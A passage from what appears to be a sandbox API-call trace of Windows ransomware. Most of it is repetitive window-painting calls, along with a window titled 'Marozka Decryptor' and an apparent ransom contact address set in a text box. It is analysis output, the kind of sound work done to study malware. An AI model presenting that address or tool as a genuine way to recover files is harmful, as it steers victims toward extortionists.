hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.520] GetSystemMetrics (nIndex=42) returned 0 [0154.520] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dd14, nMaxCount=1 | out: lpString="") returned 0 [0154.520] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dd14) returned 0x0 [0154.520] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dd3c | out: lpRect=0x19dd3c) returned 1 [0154.520] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.521] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.521] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.521] GetSystemMetrics (nIndex=42) returned 0 [0154.521] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dcb4, nMaxCount=1 | out: lpString="") returned 0 [0154.521] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dcb4) returned 0x0 [0154.521] GetClientRect (in: hWnd=0x7004e, lpRect=0x19dcdc | out: lpRect=0x19dcdc) returned 1 [0154.521] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.521] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.521] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.521] GetSystemMetrics (nIndex=42) returned 0 [0154.521] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dcb4, nMaxCount=1 | out: lpString="") returned 0 [0154.521] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dcb4) returned 0x0 [0154.523] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1022a, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) [0154.523] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.528] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.529] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.529] GetSystemMetrics (nIndex=42) returned 0 [0154.529] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.529] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.529] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.529] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.531] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.531] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.531] GetSystemMetrics (nIndex=42) returned 0 [0154.531] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.531] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.531] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.531] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.532] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.532] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.533] GetSystemMetrics (nIndex=42) returned 0 [0154.533] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.533] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.533] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.533] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.534] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.534] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.535] GetSystemMetrics (nIndex=42) returned 0 [0154.535] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.535] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.535] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.535] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.537] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.537] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.537] GetSystemMetrics (nIndex=42) returned 0 [0154.537] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0154.537] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0154.537] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.537] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.539] GetWindowTextLengthW (hWnd=0x1023e) returned 17 [0154.539] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0154.539] GetSystemMetrics (nIndex=42) returned 0 [0154.540] GetWindowTextW (in: hWnd=0x1023e, lpString=0x19e294, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0154.540] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xd, wParam=0x12, lParam=0x19e294) returned 0x11 [0154.540] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e2e8 | out: lpRect=0x19e2e8) returned 1 [0154.540] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.543] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.543] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.543] GetSystemMetrics (nIndex=42) returned 0 [0154.543] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19e32c, nMaxCount=1 | out: lpString="") returned 0 [0154.543] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19e32c) returned 0x0 [0154.544] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0154.544] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.545] GetCurrentActCtx (in: lphActCtx=0x19e7a4 | out: lphActCtx=0x19e7a4*=0xef1264) returned 1 [0154.545] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.547] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.547] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=0, Y=95, nWidth=829, nHeight=459, hWndParent=0x1023e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.547] SetWindowLongW (hWnd=0x8004e, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0154.547] GetWindowLongW (hWnd=0x8004e, nIndex=-4) returned 1952448832 [0154.548] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x81, wParam=0x0, lParam=0x19e1c8) returned 0x1 [0154.548] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x83, wParam=0x0, lParam=0x19e1b4) returned 0x0 [0154.548] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x1, wParam=0x0, lParam=0x19e1c8) returned 0x0 [0154.548] GetWindow (hWnd=0x8004e, uCmd=0x3) returned 0x0 [0154.548] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dea4 | out: lpRect=0x19dea4) returned 1 [0154.548] GetWindowRect (in: hWnd=0x8004e, lpRect=0x19dea4 | out: lpRect=0x19dea4) returned 1 [0154.549] GetParent (hWnd=0x8004e) returned 0x1023e [0154.549] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023e, lpPoints=0x19dea4, cPoints=0x2 | out: lpPoints=0x19dea4) returned -9961777 [0154.549] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x5, wParam=0x0, lParam=0x1cb033d) returned 0x0 [0154.549] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x3, wParam=0x0, lParam=0x5f0000) returned 0x0 [0154.549] GetClientRect (in: hWnd=0x8004e, lpRect=0x19defc | out: lpRect=0x19defc) returned 1 [0154.549] GetWindowRect (in: hWnd=0x8004e, lpRect=0x19defc | out: lpRect=0x19defc) returned 1 [0154.549] GetParent (hWnd=0x8004e) returned 0x1023e [0154.549] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023e, lpPoints=0x19defc, cPoints=0x2 | out: lpPoints=0x19defc) returned -9961777 [0154.549] SendMessageW (hWnd=0x8004e, Msg=0x2210, wParam=0x4e0001, lParam=0x8004e) returned 0x0 [0154.549] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x2210, wParam=0x4e0001, lParam=0x8004e) returned 0x0 [0154.550] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.550] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x46, wParam=0x0, lParam=0x19e1dc) returned 0x0 [0154.550] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.550] GetWindowTextLengthW (hWnd=0x8004e) [0154.550] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.550] GetClientRect (in: hWnd=0x8004e, lpRect=0x19ddec | out: lpRect=0x19ddec) returned 1 [0154.551] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.551] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.551] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.551] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.551] SaveDC (hdc=0x10105d6) returned 1 [0154.551] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.551] CreateSolidBrush (color=0x323533) returned 0x5d10071f [0154.551] FillRect (hDC=0x10105d6, lprc=0x19dc8c, hbr=0x5d10071f) returned 1 [0154.551] DeleteObject (ho=0x5d10071f) returned 1 [0154.551] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.553] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0154.553] GetCurrentObject (hdc=0x1901019f, type=0x1) returned 0xb00017 [0154.553] GetCurrentObject (hdc=0x1901019f, type=0x2) returned 0x900010 [0154.553] GetCurrentObject (hdc=0x1901019f, type=0x7) returned 0x49050719 [0154.554] GetCurrentObject (hdc=0x1901019f, type=0x6) returned 0x8a01c2 [0154.554] SaveDC (hdc=0x1901019f) returned 1 [0154.554] GetNearestColor (hdc=0x1901019f, color=0x323533) returned 0x323533 [0154.554] CreateSolidBrush (color=0x323533) returned 0x5e10071f [0154.554] FillRect (hDC=0x1901019f, lprc=0x19dbf4, hbr=0x5e10071f) returned 1 [0154.554] DeleteObject (ho=0x5e10071f) returned 1 [0154.554] RestoreDC (hdc=0x1901019f, nSavedDC=-1) returned 1 [0154.554] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0154.554] GetCurrentObject (hdc=0x1901019f, type=0x1) returned 0xb00017 [0154.554] GetCurrentObject (hdc=0x1901019f, type=0x2) returned 0x900010 [0154.554] GetCurrentObject (hdc=0x1901019f, type=0x7) returned 0x49050719 [0154.554] GetCurrentObject (hdc=0x1901019f, type=0x6) returned 0x8a01c2 [0154.554] SaveDC (hdc=0x1901019f) returned 1 [0154.554] GetNearestColor (hdc=0x1901019f, color=0x323533) returned 0x323533 [0154.554] CreateSolidBrush (color=0x323533) returned 0x5f10071f [0154.554] FillRect (hDC=0x1901019f, lprc=0x19db94, hbr=0x5f10071f) returned 1 [0154.555] DeleteObject (ho=0x5f10071f) returned 1 [0154.555] RestoreDC (hdc=0x1901019f, nSavedDC=-1) returned 1 [0154.555] GetWindowTextLengthW (hWnd=0x8004e) [0154.555] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.555] IsChild (hWndParent=0x40210, hWnd=0x1023e) returned 0 [0154.555] GetParent (hWnd=0x40210) returned 0x8004e [0154.555] GetWindowLongW (hWnd=0x40210, nIndex=-20) returned 512 [0154.555] DestroyWindow (hWnd=0x40210) [0154.556] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.557] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.557] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.557] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.557] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.557] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.557] SaveDC (hdc=0x10105d6) returned 1 [0154.557] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.557] CreateSolidBrush (color=0x323533) returned 0x6010071f [0154.557] FillRect (hDC=0x10105d6, lprc=0x19e11c, hbr=0x6010071f) returned 1 [0154.558] DeleteObject (ho=0x6010071f) returned 1 [0154.558] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.558] SendMessageW (hWnd=0x40210, Msg=0xb0, wParam=0x2f86064, lParam=0x19e340) [0154.558] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0xb0, wParam=0x2f86064, lParam=0x19e340) returned 0x0 [0154.558] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0154.560] GetCurrentActCtx (in: lphActCtx=0x19e700 | out: lphActCtx=0x19e700*=0xef1264) returned 1 [0154.560] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.560] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.560] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="knyaz@cock.li", dwStyle=0x560100c1, X=588, Y=422, nWidth=230, nHeight=30, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x50210 [0154.561] SetWindowLongW (hWnd=0x50210, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0154.561] GetWindowLongW (hWnd=0x50210, nIndex=-4) returned 1876218976 [0154.561] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x81, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.562] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x83, wParam=0x0, lParam=0x19e10c) returned 0x0 [0154.563] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x1, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.563] SendMessageW (hWnd=0x50210, Msg=0x2111, wParam=0x4000210, lParam=0x50210) returned 0x0 [0154.564] SendMessageW (hWnd=0x50210, Msg=0x2111, wParam=0x3000210, lParam=0x50210) returned 0x0 [0154.564] SendMessageW (hWnd=0x50210, Msg=0x2055, wParam=0x50210, lParam=0x3) returned 0x2 [0154.564] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0154.564] GetWindow (hWnd=0x50210, uCmd=0x3) returned 0x0 [0154.564] GetClientRect (in: hWnd=0x50210, lpRect=0x19dde0 | out: lpRect=0x19dde0) returned 1 [0154.564] GetWindowRect (in: hWnd=0x50210, lpRect=0x19dde0 | out: lpRect=0x19dde0) returned 1 [0154.564] GetParent (hWnd=0x50210) returned 0x8004e [0154.564] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19dde0, cPoints=0x2 | out: lpPoints=0x19dde0) returned -16187697 [0154.564] SendMessageW (hWnd=0x50210, Msg=0x30, wParam=0x390a06f6, lParam=0x0) returned 0x1 [0154.564] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x30, wParam=0x390a06f6, lParam=0x0) returned 0x1 [0154.564] SendMessageW (hWnd=0x50210, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0154.564] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0154.565] SetWindowTextW (hWnd=0x50210, lpString="knyaz@cock.li") returned 1 [0154.565] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xc, wParam=0x0, lParam=0x2fdd14c) returned 0x1 [0154.565] SendMessageW (hWnd=0x50210, Msg=0x2111, wParam=0x4000210, lParam=0x50210) returned 0x0 [0154.565] SendMessageW (hWnd=0x50210, Msg=0x2111, wParam=0x3000210, lParam=0x50210) returned 0x0 [0154.565] GetSystemMetrics (nIndex=5) returned 1 [0154.565] GetSystemMetrics (nIndex=6) returned 1 [0154.565] SendMessageW (hWnd=0x50210, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0154.565] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0154.566] GetWindowTextLengthW (hWnd=0x50210) returned 13 [0154.566] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0154.566] SendMessageW (hWnd=0x50210, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0154.566] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0154.586] SendMessageW (hWnd=0x50210, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0154.586] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0154.586] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x5, wParam=0x0, lParam=0x1a00e2) returned 0x0 [0154.586] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x3, wParam=0x0, lParam=0x1a8024e) returned 0x0 [0154.586] GetClientRect (in: hWnd=0x50210, lpRect=0x19de38 | out: lpRect=0x19de38) returned 1 [0154.586] GetWindowRect (in: hWnd=0x50210, lpRect=0x19de38 | out: lpRect=0x19de38) returned 1 [0154.586] GetParent (hWnd=0x50210) returned 0x8004e [0154.586] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de38, cPoints=0x2 | out: lpPoints=0x19de38) returned -16187697 [0154.586] SendMessageW (hWnd=0x50210, Msg=0x2210, wParam=0x2100001, lParam=0x50210) returned 0x0 [0154.586] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x2210, wParam=0x2100001, lParam=0x50210) returned 0x0 [0154.586] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.586] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x46, wParam=0x0, lParam=0x19e134) returned 0x0 [0154.587] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.587] SetTextColor (hdc=0x10105d6, color=0x6994f5) returned 0x0 [0154.587] SetBkColor (hdc=0x10105d6, color=0x302d2d) returned 0xffffff [0154.588] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d804 | out: lpRect=0x19d804) returned 1 [0154.588] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.588] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.588] GetSystemMetrics (nIndex=42) returned 0 [0154.588] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d6e4, nMaxCount=1 | out: lpString="") returned 0 [0154.588] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d6e4) returned 0x0 [0154.588] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d70c | out: lpRect=0x19d70c) returned 1 [0154.588] GetCurrentObject (hdc=0x1a01019f, type=0x1) returned 0xb00017 [0154.588] GetCurrentObject (hdc=0x1a01019f, type=0x2) returned 0x900010 [0154.588] GetCurrentObject (hdc=0x1a01019f, type=0x7) returned 0x49050719 [0154.588] GetCurrentObject (hdc=0x1a01019f, type=0x6) returned 0x8a01c2 [0154.588] SaveDC (hdc=0x1a01019f) returned 1 [0154.588] GetNearestColor (hdc=0x1a01019f, color=0x323533) returned 0x323533 [0154.588] CreateSolidBrush (color=0x323533) returned 0x6110071f [0154.588] FillRect (hDC=0x1a01019f, lprc=0x19d5ac, hbr=0x6110071f) returned 1 [0154.588] DeleteObject (ho=0x6110071f) returned 1 [0154.588] RestoreDC (hdc=0x1a01019f, nSavedDC=-1) returned 1 [0154.588] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.588] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.588] GetSystemMetrics (nIndex=42) returned 0 [0154.588] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d684, nMaxCount=1 | out: lpString="") returned 0 [0154.588] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d684) returned 0x0 [0154.588] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d6ac | out: lpRect=0x19d6ac) returned 1 [0154.588] GetCurrentObject (hdc=0x1a01019f, type=0x1) returned 0xb00017 [0154.588] GetCurrentObject (hdc=0x1a01019f, type=0x2) returned 0x900010 [0154.589] GetCurrentObject (hdc=0x1a01019f, type=0x7) returned 0x49050719 [0154.589] GetCurrentObject (hdc=0x1a01019f, type=0x6) returned 0x8a01c2 [0154.589] SaveDC (hdc=0x1a01019f) returned 1 [0154.589] GetNearestColor (hdc=0x1a01019f, color=0x323533) returned 0x323533 [0154.589] CreateSolidBrush (color=0x323533) returned 0x6210071f [0154.589] FillRect (hDC=0x1a01019f, lprc=0x19d54c, hbr=0x6210071f) returned 1 [0154.589] DeleteObject (ho=0x6210071f) returned 1 [0154.589] RestoreDC (hdc=0x1a01019f, nSavedDC=-1) returned 1 [0154.589] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.589] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.589] GetSystemMetrics (nIndex=42) returned 0 [0154.589] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d684, nMaxCount=1 | out: lpString="") returned 0 [0154.589] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d684) returned 0x0 [0154.590] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0154.590] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x47, wParam=0x0, lParam=0x19e134) returned 0x0 [0154.590] GetClientRect (in: hWnd=0x50210, lpRect=0x19de08 | out: lpRect=0x19de08) returned 1 [0154.590] GetWindowRect (in: hWnd=0x50210, lpRect=0x19de08 | out: lpRect=0x19de08) returned 1 [0154.590] GetParent (hWnd=0x50210) returned 0x8004e [0154.590] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de08, cPoints=0x2 | out: lpPoints=0x19de08) returned -16187697 [0154.590] GetParent (hWnd=0x50210) returned 0x8004e [0154.590] GetParent (hWnd=0x50210) returned 0x8004e [0154.590] SetParent (hWndChild=0x800b0, hWndNewParent=0x8004e) returned 0x1023c [0154.590] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.591] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x46, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.591] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.591] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x47, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.591] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x3, wParam=0x0, lParam=0x1aa01db) returned 0x0 [0154.591] GetClientRect (in: hWnd=0x800b0, lpRect=0x19dd0c | out: lpRect=0x19dd0c) returned 1 [0154.591] GetWindowRect (in: hWnd=0x800b0, lpRect=0x19dd0c | out: lpRect=0x19dd0c) returned 1 [0154.591] GetParent (hWnd=0x800b0) returned 0x8004e [0154.591] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19dd0c, cPoints=0x2 | out: lpPoints=0x19dd0c) returned -16187697 [0154.591] GetClientRect (in: hWnd=0x800b0, lpRect=0x19e43c | out: lpRect=0x19e43c) returned 1 [0154.591] GetWindowRect (in: hWnd=0x800b0, lpRect=0x19e43c | out: lpRect=0x19e43c) returned 1 [0154.591] GetParent (hWnd=0x800b0) returned 0x8004e [0154.591] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e43c, cPoints=0x2 | out: lpPoints=0x19e43c) returned -16187697 [0154.591] GetParent (hWnd=0x800b0) returned 0x8004e [0154.591] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.591] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x46, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.591] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.592] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x47, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.592] GetClientRect (in: hWnd=0x800b0, lpRect=0x19e43c | out: lpRect=0x19e43c) returned 1 [0154.592] GetWindowRect (in: hWnd=0x800b0, lpRect=0x19e43c | out: lpRect=0x19e43c) returned 1 [0154.592] GetParent (hWnd=0x800b0) returned 0x8004e [0154.592] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e43c, cPoints=0x2 | out: lpPoints=0x19e43c) returned -16187697 [0154.592] GetParent (hWnd=0x800b0) returned 0x8004e [0154.592] GetWindow (hWnd=0x800b0, uCmd=0x3) returned 0x0 [0154.592] SetWindowPos (hWnd=0x800b0, hWndInsertAfter=0x50210, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0154.592] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x46, wParam=0x0, lParam=0x19e73c) returned 0x0 [0154.592] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.592] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.593] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x47, wParam=0x0, lParam=0x19e73c) returned 0x0 [0154.593] GetClientRect (in: 